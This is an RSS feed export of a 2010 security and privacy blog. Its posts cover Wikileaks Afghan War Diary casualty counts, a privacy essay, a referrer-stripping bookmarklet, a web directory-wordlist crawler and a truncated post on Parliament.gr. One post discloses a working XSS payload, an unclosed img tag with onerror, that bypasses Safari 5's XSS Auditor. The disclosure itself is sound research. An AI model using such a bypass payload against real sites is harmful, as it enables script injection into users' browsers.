<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">

<channel>
	<title>0x0Lab Blog</title>
	
	<link>http://blog.0x0lab.org</link>
	<description>Just another damn blog</description>
	<lastBuildDate>Sun, 29 Aug 2010 09:55:05 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/0x0lab" /><feedburner:info uri="0x0lab" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><item>
		<title>Afgan War Diary in Numbers</title>
		<link>http://feedproxy.google.com/~r/0x0lab/~3/0sDZMRPzzK4/</link>
		<comments>http://blog.0x0lab.org/2010/08/afgan-war-diary-in-numbers/#comments</comments>
		<pubDate>Sun, 01 Aug 2010 21:24:39 +0000</pubDate>
		<dc:creator>neuro</dc:creator>
				<category><![CDATA[General]]></category>

		<guid isPermaLink="false">https://blog.0x0lab.org/?p=302</guid>
		<description><![CDATA[Wikileaks has released a document set called the Afgan War Diary, on July 25, 2010, an extraordinary compendium of over 91,000 reports covering the war in Afghanistan from 2004 to 2010. For more information visit http://wikileaks.org/wiki/Afghan_War_Diary,_2004-2010. In this post I present this endless insane war in numbers. All numbers were taken from "Afgan War Diary" [...]]]></description>
			<content:encoded><![CDATA[<p>Wikileaks has released a document set called the Afgan War Diary, on July 25, 2010, an extraordinary compendium of over 91,000 reports covering the war in Afghanistan from 2004 to 2010. For more information visit http://wikileaks.org/wiki/Afghan_War_Diary,_2004-2010.</p>
<p>In this post I present this endless insane war in numbers. All numbers were taken from "Afgan War Diary" and manipulated using a MySQL database. It must be noted that 75.000 over 91.000 reports were released.</p>
<p><span id="more-302"></span></p>
<p><strong>Section 1-Civilians Killed In Action</strong><br />
<strong> 2004: 219 were killed</strong></p>
<p><a href="https://blog.0x0lab.org/wp-content/uploads/2010/08/CivilianKia2004.png"><img class="alignnone size-full wp-image-303" title="Civilians Killed In Action-Year 2004" src="https://blog.0x0lab.org/wp-content/uploads/2010/08/CivilianKia2004.png" alt="" width="551" height="543" /></a></p>
<p><strong>2005: 178 were killed</strong></p>
<p><a href="https://blog.0x0lab.org/wp-content/uploads/2010/08/CivilianKia2005.png"><img class="alignnone size-full wp-image-307" title="Civilians Killed In Action-Year 2005" src="https://blog.0x0lab.org/wp-content/uploads/2010/08/CivilianKia2005.png" alt="" width="552" height="555" /></a></p>
<p><strong>2006: 800 were killed</strong></p>
<p><a href="https://blog.0x0lab.org/wp-content/uploads/2010/08/CivilianKia2006.png"><img class="alignnone size-full wp-image-308" title="Civilians Killed In Action-Year 2006" src="https://blog.0x0lab.org/wp-content/uploads/2010/08/CivilianKia2006.png" alt="" width="548" height="549" /></a></p>
<p><strong> 2007: 758 were killed</strong></p>
<p><a href="https://blog.0x0lab.org/wp-content/uploads/2010/08/CivilianKia2007.png"><img class="alignnone size-full wp-image-309" title="Civilian Killed In Action-Year 2007" src="https://blog.0x0lab.org/wp-content/uploads/2010/08/CivilianKia2007.png" alt="" width="551" height="553" /></a></p>
<p><strong>2008: 798 were killed</strong></p>
<p><a href="https://blog.0x0lab.org/wp-content/uploads/2010/08/CivilianKia2008.png"><img class="alignnone size-full wp-image-310" title="Civilians Killed In Action-Year 2008" src="https://blog.0x0lab.org/wp-content/uploads/2010/08/CivilianKia2008.png" alt="" width="555" height="551" /></a></p>
<p><strong>2009: 1241 were killed</strong></p>
<p><a href="https://blog.0x0lab.org/wp-content/uploads/2010/08/Civiliankia2009.png"><img class="alignnone size-full wp-image-311" title="Civilians Killed In Actions-Year 2009" src="https://blog.0x0lab.org/wp-content/uploads/2010/08/Civiliankia2009.png" alt="" width="553" height="551" /></a></p>
<p><a href="https://blog.0x0lab.org/wp-content/uploads/2010/08/Civilians-KIA-XLS-2004-2009.png"><img class="alignnone size-full wp-image-313" title="Civilians KIA XLS 2004-2009" src="https://blog.0x0lab.org/wp-content/uploads/2010/08/Civilians-KIA-XLS-2004-2009.png" alt="" width="466" height="202" /></a></p>
<p><strong>Total civilians were killed during the period 2004-2009: 3994</strong></p>
<p><strong>Section 2-Civilians Wounded In Action<br />
2004: 208 were wounded</strong></p>
<p><a href="https://blog.0x0lab.org/wp-content/uploads/2010/08/CiviliansWia2004.png"><img class="alignnone size-full wp-image-317" title="Civilians Wounded In Action-Year 2004" src="https://blog.0x0lab.org/wp-content/uploads/2010/08/CiviliansWia2004.png" alt="" width="552" height="547" /></a></p>
<p><strong>2005: 454 were wounded</strong></p>
<p><a href="https://blog.0x0lab.org/wp-content/uploads/2010/08/civilianswia2005.png"><img class="alignnone size-full wp-image-318" title="Civilians Wounded In Action-Year 2005" src="https://blog.0x0lab.org/wp-content/uploads/2010/08/civilianswia2005.png" alt="" width="552" height="544" /></a></p>
<p><strong>2006: 1794 were wounded</strong></p>
<p><a href="https://blog.0x0lab.org/wp-content/uploads/2010/08/civilianswia2006.png"><img class="alignnone size-full wp-image-319" title="Civilians Wounden In Action-Year 2006" src="https://blog.0x0lab.org/wp-content/uploads/2010/08/civilianswia2006.png" alt="" width="551" height="545" /></a></p>
<p><strong> 2007: 1962 were wounded</strong></p>
<p><a href="https://blog.0x0lab.org/wp-content/uploads/2010/08/civilianswia2007.png"><img class="alignnone size-full wp-image-320" title="Civilians Wounded In Action-Year 2007" src="https://blog.0x0lab.org/wp-content/uploads/2010/08/civilianswia2007.png" alt="" width="547" height="545" /></a></p>
<p><strong> 2008: 1980 were wounded</strong></p>
<p><a href="https://blog.0x0lab.org/wp-content/uploads/2010/08/civilianwia2008.png"><img class="alignnone size-full wp-image-321" title="Civilians Wounded In Action-Year 2008" src="https://blog.0x0lab.org/wp-content/uploads/2010/08/civilianwia2008.png" alt="" width="547" height="542" /></a><br />
<strong> </strong></p>
<p><strong>2009: 2646 were wounded</strong></p>
<p><a href="https://blog.0x0lab.org/wp-content/uploads/2010/08/civilianwia2009.png"><img class="alignnone size-full wp-image-322" title="Civilians Wounden In Action-Year 2009" src="https://blog.0x0lab.org/wp-content/uploads/2010/08/civilianwia2009.png" alt="" width="550" height="543" /></a></p>
<p><a href="https://blog.0x0lab.org/wp-content/uploads/2010/08/Civilians-WIA-XLS-2004-2009.png"><img class="alignnone size-full wp-image-323" title="Civilians WIA XLS 2004-2009" src="https://blog.0x0lab.org/wp-content/uploads/2010/08/Civilians-WIA-XLS-2004-2009.png" alt="" width="463" height="200" /></a></p>
<p><strong>Total civilians were wounded during the period 2004-2009: 9044</strong></p>
<p><strong>Section 3-Enemies Killed In Action</strong><br />
2004: 343 were killed<br />
2005: 890 were killed<br />
2006: 2689 were killed<br />
2007: 4044 were killed<br />
2008: 2816 were killed<br />
2009: 4437 were killed</p>
<p><a href="https://blog.0x0lab.org/wp-content/uploads/2010/08/Enemy-KIA-XLS-2004-2009.png"><img class="alignnone size-full wp-image-325" title="Enemy KIA XLS 2004-2009" src="https://blog.0x0lab.org/wp-content/uploads/2010/08/Enemy-KIA-XLS-2004-2009.png" alt="" width="464" height="199" /></a></p>
<p><strong>Total enemies were killed during the period 2004-2009: 15219</strong></p>
<p><strong>Section 4-Enemies Wounded In Action</strong><br />
2004: 93 were wounded<br />
2005: 200 were wounded<br />
2006: 252 were wounded<br />
2007: 377 were wounded<br />
2008: 285 were wounded<br />
2009: 617 were wounded</p>
<p><a href="https://blog.0x0lab.org/wp-content/uploads/2010/08/Enemy-WIA-XLS-2004-2009.png"><img class="alignnone size-full wp-image-326" title="Enemy WIA XLS 2004-2009" src="https://blog.0x0lab.org/wp-content/uploads/2010/08/Enemy-WIA-XLS-2004-2009.png" alt="" width="462" height="196" /></a></p>
<p><strong>Total enemies were wounded during the period 2004-2009: 1824</strong></p>
<p><strong>Section 5-Friendly Killed In Action</strong><br />
2004: 22 were killed<br />
2005: 71 were killed<br />
2006: 142 were killed<br />
2007: 186 were killed<br />
2008: 244 were killed<br />
2009: 481 were killed</p>
<p><a href="https://blog.0x0lab.org/wp-content/uploads/2010/08/Friendly-KIA-XLS-2004-2009.png"><img class="alignnone size-full wp-image-327" title="Friendly KIA XLS 2004-2009" src="https://blog.0x0lab.org/wp-content/uploads/2010/08/Friendly-KIA-XLS-2004-2009.png" alt="" width="459" height="192" /></a></p>
<p><strong>Total friendly were killed during the period 2004-2009: 1146</strong></p>
<p><strong>Section 6-Friendly Wounded In Action</strong><br />
2004: 133 were wounded<br />
2005: 480 were wounded<br />
2006: 1083 were wounded<br />
2007: 1652 were wounded<br />
2008: 1255 were wounded<br />
2009: 2693 were wounded</p>
<p><a href="https://blog.0x0lab.org/wp-content/uploads/2010/08/Friendly-WIA-XLS-2004-2009.png"><img class="alignnone size-full wp-image-328" title="Friendly WIA XLS 2004-2009" src="https://blog.0x0lab.org/wp-content/uploads/2010/08/Friendly-WIA-XLS-2004-2009.png" alt="" width="461" height="195" /></a></p>
<p><strong>Total friendly were wounded during the period 2004-2009: 7296</strong></p>
<p><strong>Section 7-HostNation Killed In Action</strong><br />
2004: 218 were killed<br />
2005: 180 were killed<br />
2006: 605 were killed<br />
2007: 951 were killed<br />
2008: 699 were killed<br />
2009: 1143 were killed</p>
<p><a href="https://blog.0x0lab.org/wp-content/uploads/2010/08/HostNation-KIA-XLS-2004-2009.png"><img class="alignnone size-full wp-image-329" title="HostNation KIA XLS 2004-2009" src="https://blog.0x0lab.org/wp-content/uploads/2010/08/HostNation-KIA-XLS-2004-2009.png" alt="" width="458" height="191" /></a></p>
<p><strong>Total HostNations were killed during the period 2004-2009: 3796</strong></p>
<p><strong>Section 8-HostNation Wounded In Action</strong><br />
2004: 316 were wounded<br />
2005: 504 were wounded<br />
2006: 1379 were wounded<br />
2007: 2093 were wounded<br />
2008: 1749 were wounded<br />
2009: 2444 were wounded</p>
<p><a href="https://blog.0x0lab.org/wp-content/uploads/2010/08/HostNation-WIA-XLS-2004-2009.png"><img class="alignnone size-full wp-image-330" title="HostNation WIA XLS 2004-2009" src="https://blog.0x0lab.org/wp-content/uploads/2010/08/HostNation-WIA-XLS-2004-2009.png" alt="" width="461" height="194" /></a></p>
<p><strong>Total HostNations were wounded during the period 2004-2009: 8503</strong></p>
<p><strong>Total Killed: 24155<br />
Total Wounded: 26667</strong></p>
<img src="http://feeds.feedburner.com/~r/0x0lab/~4/0sDZMRPzzK4" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.0x0lab.org/2010/08/afgan-war-diary-in-numbers/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		<feedburner:origLink>http://blog.0x0lab.org/2010/08/afgan-war-diary-in-numbers/</feedburner:origLink></item>
		<item>
		<title>Human rights abuse in an OOP paradigm</title>
		<link>http://feedproxy.google.com/~r/0x0lab/~3/7JVRBnNqV1I/</link>
		<comments>http://blog.0x0lab.org/2010/07/human-rights-abuse-oop/#comments</comments>
		<pubDate>Wed, 28 Jul 2010 19:42:49 +0000</pubDate>
		<dc:creator>zero</dc:creator>
				<category><![CDATA[Privacy]]></category>
		<category><![CDATA[Privacy rights]]></category>

		<guid isPermaLink="false">https://blog.0x0lab.org/?p=247</guid>
		<description><![CDATA[his article is a first attempt to formalize an instance of OneSelf. Provide a first approach on defining such a class and its attributes/methods. Provide a possible implementation of such an object and define usage restrictions and protection.

Such an approach could be (ab)used if we continue to fail to apply strong data confidentiality and true segregation of duties.

Controls within organizations and governments are not adequate. End user education regarding disclosure of personal data is also essential.]]></description>
			<content:encoded><![CDATA[<p>This article is a first attempt to formalize an instance of OneSelf. Provide a first approach on defining such a class and its attributes/methods. Provide a possible implementation of such an object and define usage restrictions and protection.</p>
<p><strong><em>Such an approach could be (ab)used if we continue to fail to apply strong data confidentiality and true segregation of duties.</em></strong></p>
<p><strong><em>Controls within organizations and governments are not adequate. End user education regarding disclosure of personal data is also essential.</em></strong></p>
<div><strong><em><br />
</em></strong></div>
<p><span id="more-247"></span></p>
<blockquote><p>In the domain of object-oriented programming an object is usually taken to mean a compilation of attributes (object elements) and behaviors (methods or subroutines) encapsulating an entity. In this way, whilst primitive or simple data types are still just single pieces of information, object oriented objects are complicated types that have multiple pieces of information and specific properties (or attributes).</p></blockquote>

<a href='http://blog.0x0lab.org/2010/07/human-rights-abuse-oop/api1-2/' title='api1'><img width="150" height="119" src="http://blog.0x0lab.org/wp-content/uploads/2010/07/api1.jpg" class="attachment-thumbnail" alt="api1" title="api1" /></a>
<a href='http://blog.0x0lab.org/2010/07/human-rights-abuse-oop/api2/' title='api2'><img width="150" height="95" src="http://blog.0x0lab.org/wp-content/uploads/2010/07/api2.jpg" class="attachment-thumbnail" alt="api2" title="api2" /></a>

<h3><span style="font-weight: normal;">Concept Analysis</span></h3>
<p>Below is an oversimplified attempt to describe the implementation of a Human class. Technologies capable for correlating and capturing data are already in place. So lets start our "fictional" scenario!</p>
<h4>1. Welcome to Life</h4>
<p>A Human gets borned (instantiation of class Human -&gt; HumanXYZ). Once a new Human is borned it automatically acquires an ID.</p>
<p>A Human's first ID card  consists of at least the following personal attributes:</p>
<ul>
<li>Sex</li>
<li>Weight</li>
<li>Religion</li>
<li>Time of Birth and location</li>
<li>Summary of health</li>
<li>Your doctor name</li>
<li>The National ID of your physical parent (this points back to number 1 for the specified person reference key cannot be NULL)</li>
<li>Country of residence and registered address</li>
<li>Temporary eye color</li>
<li>Race categorization</li>
<li>FOR FUTURE USE (marketing/recruitment etc...) : DNA analysis may also provide: Expected life time, probabolities of illness, mental capabilities etc..</li>
</ul>
<p>Because an infant's health during its first couple of years of life is unstable (due to body adaptation to earth environment hazards) the infant will have several visits to a hospital/doctor.</p>
<p>By the time a Human reaches pre-school age the main data holder is the health care system and some government body.</p>
<h4>2. Develop</h4>
<p>Getting an education at an early age is common for developed countries and is considered de facto. Other information a Human has acquired by the time it reaches the age of 15:</p>
<ul>
<li>National ID card</li>
<li>RFID Passport (For your convenience)</li>
<li>Education progress (how well the human is performing in acquiring predefined knowledge and other behavior characteristics)</li>
<li>Google/Hotmail/Yahoo mail . Geolocation based on IP and association with mobile number required by Google mail !</li>
<li>Social network account. Geolocation based on triangulation/GPS/IP</li>
<li>Mobile number. Geolocation based on triangulation/GPS/IP</li>
<li>School ID, other associations</li>
<li>Bank account (prospect customer data)</li>
<li>Possible criminal record</li>
<li>Internet access</li>
<li>Mobile customers are required to provide formal proof of ID</li>
</ul>
<p>So stage 2 data holders are:</p>
<p>Goverment, mobile operators, multinational corporations, financial institutions your local store or dealer</p>
<h4>3. Locking in</h4>
<ul>
<li>Biometric Data uniquely identifies a person</li>
<li>Getting a public transportation card</li>
<li>Buying a vehicle and issuing a vehicle insurance</li>
<li>Acquiring a credit card and carrying out online or offline purchases</li>
<li>University/college education</li>
<li>DNA test (if DNA data has not been captured during birth)</li>
<li>CCTV images</li>
</ul>
<p>All of the above data is already being used by a large number of companies (commercial or government owned). Either for marketing or for other reasons.</p>
<p>Lets assume now that big goverment/coorporation X is suddenly interested into PersonXYZ for XYZ reasons.</p>
<p>Lets see if we can find out who PersonXYZ and his latest location!</p>
<p>1. Create psycological profile and social trends of PersonXYZ. We will use metadata analysis from correlated data from  Stage 1 and 2 data holders</p>
<p>Data include:</p>
<ul>
<li>E-mail</li>
<li>Social networking activity</li>
<li>Communication patterns with other Person instances. Run analysis 1 for each connected entity</li>
<li>Create status profile</li>
<li>Ascribed status</li>
<li>Achieved status</li>
</ul>
<p>All we need is a good team with skills in the following disciplines:</p>
<ol>
<li>Mathematics</li>
<li>Statistics</li>
<li>Sociology</li>
<li>Psychology</li>
</ol>
<p>One might be thinking why would anyone want to find out so much about a person. Some possible reasons are:</p>
<ul>
<li>Recruitment</li>
<li>Suspect for terrorism</li>
<li>Human behavior profile matching</li>
<li>Research</li>
<li>Marketing</li>
<li>.....</li>
</ul>
<p>What you end up is a full profile of a Human Instance describing :</p>
<ul>
<li>Where this person is</li>
<li>Where he has been</li>
<li>Who he talked to</li>
<li>What are his habits</li>
<li>What are his needs</li>
<li>Who this person and his environment are</li>
<li>What type of a person is</li>
</ul>
<p>By running an analysis on the above data, it is possible to profile a person and his character. Chances are that they know better than you who you are!</p>
<h3>Information Custodians</h3>
<p>Some of the required data is public, some of the more confidential data is private and access may be somewhat more difficult to obtain. Where private data is kept most of the times there is already a regulation controlling access. Off course under specific circumstances access to such data may be obtained , although it may not be "legal". So where do we need to apply strict regulations regarding confidentiality and access control?</p>
<ol>
<li>Health care system</li>
<li>Governmental system</li>
<li>Various private organisations</li>
<li>Financial institutions</li>
<li>Internet providers</li>
<li>Academic institutions</li>
<li>Telecom providers</li>
</ol>
<p>****Cardholder data and transactions automatically correlate other information such as travel/lifestyle etc...</p>
<blockquote><p>All of the above organisations must implement technologies which monitor and capture reliably all access to one Person's data. A Person must have the ability to query any of the above entities and they should be obliged to provide a report to the data owner (the actual person) showing :</p>
<ul>
<li>Who accessed their data</li>
<li>What kind of data the entity holds</li>
</ul>
</blockquote>
<p>You might be wondering how could one entity have access to all this data, which essentially belongs to different entities. Corp X would never give its data to Corp Y. This is actually true.</p>
<p>However globalization plans getting into place, you might find out that several different corporations basically are being controlled/owned by the same people. Don't forget that corporations and specific strong lobbies, are essentially controlling the governments.</p>
<h3>Controlling the controller</h3>
<p>The following requirements must be fulfilled in order to ensure the successful operation of protecting privacy rights.</p>
<ul>
<li>The regulatory body must be sponsored by the people</li>
<li>The regulatory body will be an independent organization belonging to the people</li>
<li>All actions/decisions/financial information of the body must be published</li>
<li>Control audits must be made public</li>
</ul>
<h3>All rights reserved</h3>
<p>A global Person database is not far from happening , one way or the other. It already exists. Running a method such as <strong><a href="file:///Users/dlam/workspace/HumanTest/doc/life/Human.html#getPrivateData(int)">getPrivateData</a></strong>() will soon be possible. The developed world has managed to put an "All rights reserved" license on your personal data and the different organizations/government as the legal copyright owner.</p>
<p>You might be wondering how did they managed to get the legal rights to your personal data without your consent. Well you will find out that at some point you have signed a paper/ticked a checkbox which maybe not explicitly, but implicitly says that your private data is no longer under your control.</p>
<p>What would happen if you denied to give up your rights ? Most likely you would not be able to get medical care, no right to vote, no right to make any legal claims etc. Even worse you would probably be first level suspect for "terrorism".</p>
<p>Some of the questions that arise from all this are:</p>
<ul>
<li>Can we really control the controller?</li>
<li>Is it possible to identify reliable at any time who had access to my data?</li>
<li>I want full anonymity, can I have it?</li>
<li>Can we prevent correlation of personal data?</li>
</ul>
<p>Imagine a world where real private information is never shown or used. All services are based on alias IDs but special protocols are used to attest that the alias is actually a "legal" instance of a HuMAn.</p>
<img src="http://feeds.feedburner.com/~r/0x0lab/~4/7JVRBnNqV1I" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.0x0lab.org/2010/07/human-rights-abuse-oop/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://blog.0x0lab.org/2010/07/human-rights-abuse-oop/</feedburner:origLink></item>
		<item>
		<title>Remove http referrer bookmarklet and Safari5 extension</title>
		<link>http://feedproxy.google.com/~r/0x0lab/~3/fsaFWhzoPsE/</link>
		<comments>http://blog.0x0lab.org/2010/06/remove-http-referrer-bookmarklet/#comments</comments>
		<pubDate>Tue, 22 Jun 2010 14:36:59 +0000</pubDate>
		<dc:creator>cirrus</dc:creator>
				<category><![CDATA[MacOSX]]></category>

		<guid isPermaLink="false">http://blog.0x0lab.org/?p=119</guid>
		<description><![CDATA[Let's go through the creation of a bookmarklet that removes the http referrers from all links in a page. This has been tested in Safari and Firefox. This will only work on &#60;a&#62; tags in pages. Essentially we want to perform the following for all the &#60;a&#62; tags in the page: Remove all "onmousedown","onmouseover","onclick" events. [...]]]></description>
			<content:encoded><![CDATA[<p>Let's go through the creation of a bookmarklet that removes the http referrers from all links in a page. This has been tested in Safari and Firefox.<span id="more-119"></span><br />
This will only work on &lt;a&gt; tags in pages.<br />
Essentially we want to perform the following for all the &lt;a&gt; tags in the page:<br />
Remove all "onmousedown","onmouseover","onclick" events.<br />
Add an onclick event that will point the browser (using document.location) to a data url that contains a javascript pointing the browser (again using document.location) to event.currentTarget.href <img src='http://blog.0x0lab.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .<br />
This way no referrer will be send to the visiting link.<br />
The loop we will need to execute is:</p>
<blockquote><p>for(var i=0;i&lt;document.getElementsByTagName("a").length;i++){<br />
document.getElementsByTagName("a")[i].removeAttribute("onmousedown");<br />
document.getElementsByTagName("a")[i].removeAttribute("onmouseover");<br />
document.getElementsByTagName("a")[i].removeAttribute("onclick")<br />
;document.getElementsByTagName("a")[i].setAttribute("onclick","<br />
document.location='data:text/html;charset=utf-8,%3C%21DOCTYPE%20html%3E%3Chtml%3E%3Cscript%3Edocument.location%3D%27'+<br />
escape(event.currentTarget.href)+'%27%3B%3C%2fscript%3E%3C%2fhtml%3E';return false;");<br />
}</p></blockquote>
<p>Which can be turned into the following bookmarklet: <a href="javascript:var newe=document.createElement('script');newe.type='text/javascript';newe.src='data:text/javascript;base64,Zm9yKHZhciBpPTA7aTxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiYSIpLmxlbmd0aDtpKyspewpkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiYSIpW2ldLnJlbW92ZUF0dHJpYnV0ZSgib25tb3VzZWRvd24iKTtkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiYSIpW2ldLnJlbW92ZUF0dHJpYnV0ZSgib25tb3VzZW92ZXIiKTtkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiYSIpW2ldLnJlbW92ZUF0dHJpYnV0ZSgib25jbGljayIpO2RvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJhIilbaV0uc2V0QXR0cmlidXRlKCJvbmNsaWNrIiwiZG9jdW1lbnQubG9jYXRpb249J2RhdGE6dGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgsJTNDJTIxRE9DVFlQRSUyMGh0bWwlM0UlM0NodG1sJTNFJTNDc2NyaXB0JTNFZG9jdW1lbnQubG9jYXRpb24lM0QlMjcnK2VzY2FwZShldmVudC5jdXJyZW50VGFyZ2V0LmhyZWYpKyclMjclM0IlM0MlMmZzY3JpcHQlM0UlM0MlMmZodG1sJTNFJztyZXR1cm4gZmFsc2U7Iik7Cn0=';document.body.appendChild(newe);">Remove Referrer</a></p>
<p>Using the same code I've also made a Safari 5 extension which can be downloaded from here: <a href="http://blog.0x0lab.org/wp-content/plugins/download-monitor/download.php?id=7" title="Download">Referrer Remove</a><br />
The extensions adds a context menu called "Remove Referrer" that can be found by right-clicking on a page.<br />
Note: You will need to <a href="http://developer.apple.com/safari/library/documentation/appleapplications/conceptual/safari_developer_guide/2SafariDeveloperTools/SafariDeveloperTools.html#//apple_ref/doc/uid/TP40007874-CH3-SW7">enable</a> the extensions.</p>
<img src="http://feeds.feedburner.com/~r/0x0lab/~4/fsaFWhzoPsE" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.0x0lab.org/2010/06/remove-http-referrer-bookmarklet/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		<feedburner:origLink>http://blog.0x0lab.org/2010/06/remove-http-referrer-bookmarklet/</feedburner:origLink></item>
		<item>
		<title>Bypassing Safari 5 XSS Auditor</title>
		<link>http://feedproxy.google.com/~r/0x0lab/~3/NwRQn72QdKE/</link>
		<comments>http://blog.0x0lab.org/2010/06/bypassing-safari-5-xss-auditor/#comments</comments>
		<pubDate>Tue, 08 Jun 2010 11:19:49 +0000</pubDate>
		<dc:creator>cirrus</dc:creator>
				<category><![CDATA[MacOSX]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">https://blog.0x0lab.org/?p=177</guid>
		<description><![CDATA[Safari 5 was released today and following IE8's move they decided to implement what they call XSS Auditor. According to the Safari 5 site: XSS Auditor: Safari can filter potentially malicious scripts used in cross-site scripting (XSS) attacks. Indeed Safari 5 does manage to block the usual &#34;&#62;&#60;script&#62;alert(0)&#60;/script&#62; javascript successfully: However it took me just [...]]]></description>
			<content:encoded><![CDATA[<p>Safari 5 was released today and following IE8's move they decided to implement what they call XSS Auditor.<span id="more-177"></span><br />
According to the <a href="http://support.apple.com/kb/DL1046">Safari 5</a> site:</p>
<blockquote><p>XSS Auditor: Safari can filter potentially malicious scripts used in cross-site scripting (XSS) attacks.</p></blockquote>
<p>Indeed Safari 5 does manage to block the usual <code>&quot;&gt;&lt;script&gt;alert(0)&lt;/script&gt;</code> javascript successfully:</p>
<p><a href="http://blog.0x0lab.org/wp-content/uploads/2010/06/Screen-shot-2010-06-08-at-13.52.13-1.png"><img src="http://blog.0x0lab.org/wp-content/uploads/2010/06/Screen-shot-2010-06-08-at-13.52.13-1.png" alt="" title="Safari 5 XSS auditor" width="626" height="260" class="alignnone size-full wp-image-199" /></a></p>
<p>However it took me just under a couple of minutes to discover that the following bypassed the filter just fine:</p>
<blockquote><p>&quot;&gt;&lt;img&nbsp;src=aa&nbsp;onerror=alert(0)</p></blockquote>
<p>(Notice I haven't closed the tag or used quotes).</p>
<p><a href="http://blog.0x0lab.org/wp-content/uploads/2010/06/Screen-shot-2010-06-08-at-14.02.11-.png"><img src="http://blog.0x0lab.org/wp-content/uploads/2010/06/Screen-shot-2010-06-08-at-14.02.11-.png" alt="" title="Safari XSS" width="592" height="291" class="alignnone size-full wp-image-189" /></a></p>
<img src="http://feeds.feedburner.com/~r/0x0lab/~4/NwRQn72QdKE" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.0x0lab.org/2010/06/bypassing-safari-5-xss-auditor/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		<feedburner:origLink>http://blog.0x0lab.org/2010/06/bypassing-safari-5-xss-auditor/</feedburner:origLink></item>
		<item>
		<title>DirBuster Dictionary Populator</title>
		<link>http://feedproxy.google.com/~r/0x0lab/~3/NrHse_Pwlvc/</link>
		<comments>http://blog.0x0lab.org/2010/06/dirbuster-dictionary-populator/#comments</comments>
		<pubDate>Wed, 02 Jun 2010 11:35:44 +0000</pubDate>
		<dc:creator>cirrus</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">https://blog.0x0lab.org/?p=168</guid>
		<description><![CDATA[Dirbuster and dirb are in the toolset of all web application security fans. Both tools are excellent (although I prefer dirb due to it being command line and not Java), but their results obviously depends on how good the wordlist you are using is. I often find myself editing the wordlist file to add directories/files [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project">Dirbuster</a> and <a href="http://dirb.sf.net">dirb</a> are in the toolset of all web application security fans. Both tools are excellent (although I prefer dirb due to it being command line and not Java), but their results obviously depends on how good the wordlist you are using is.<span id="more-168"></span> I often find myself editing the wordlist file to add directories/files relevant to the site I'm running dirbuster against. So one day I though: hey why not automate this as much as I can.<br />
Here comes dict_populator.pl.<br />
The tool will crawl and discover URL's in the site received in its input and output the following:<br />
- A file with all discovered URL's (site.name-urls.txt)<br />
- dict.txt (Will append any directory/file names found while crawling and not found in the dictionary to this file)<br />
- ext.txt (Will append any extensions found while crawling the site and not found in the file)</p>
<p>The script also supports using cookies for better crawling of sites that require authentication. The cookies can be added in the first few lines of the script (no command line switch yet).</p>
<p>Just as a test I used the common.txt wordlist found in dirb to scan one of my sites. The scan did not include any extensions and discovered 25 directories. I run dict_populator against the site making it append the discovered names in the above wordlist and then run dirb again. This time 34 directories where discovered.</p>
<p>Download: <a href='http://blog.0x0lab.org/wp-content/uploads/2010/06/dict_populator.zip'>dict_populator.pl</a><br />
Requires: LWP::UserAgent, HTTP::Cookies and HTML::LinkExtor.</p>
<p>Updated to version 0.2, which fixes a bug that multiple image URL's appear in the output.</p>
<img src="http://feeds.feedburner.com/~r/0x0lab/~4/NrHse_Pwlvc" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.0x0lab.org/2010/06/dirbuster-dictionary-populator/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		<feedburner:origLink>http://blog.0x0lab.org/2010/06/dirbuster-dictionary-populator/</feedburner:origLink></item>
		<item>
		<title>Parliament.gr blocks search engines?</title>
		<link>http://feedproxy.google.com/~r/0x0lab/~3/r94z9QMK1RA/</link>
		<comments>http://blog.0x0lab.org/2010/05/parliament-gr-blocks-search-engines/#comments</comments>
		<pubDate>Thu, 13 May 2010 15:01:22 +0000</pubDate>
		<dc:creator>cirrus</dc:creator>
				<category><![CDATA[Greece]]></category>

		<guid isPermaLink="false">https://blog.0x0lab.org/?p=162</guid>
		<description><![CDATA[I sometimes surf while using the Googlebot user-agent and often forget to switch back to the default Firefox user-agent. While using the Googlebot user-agent, I tried to visit the Greek Parliament web site (http://www.parliament.gr), only to discover that I got a 404 page not found error. Curious I tried the user-agent of two more search [...]]]></description>
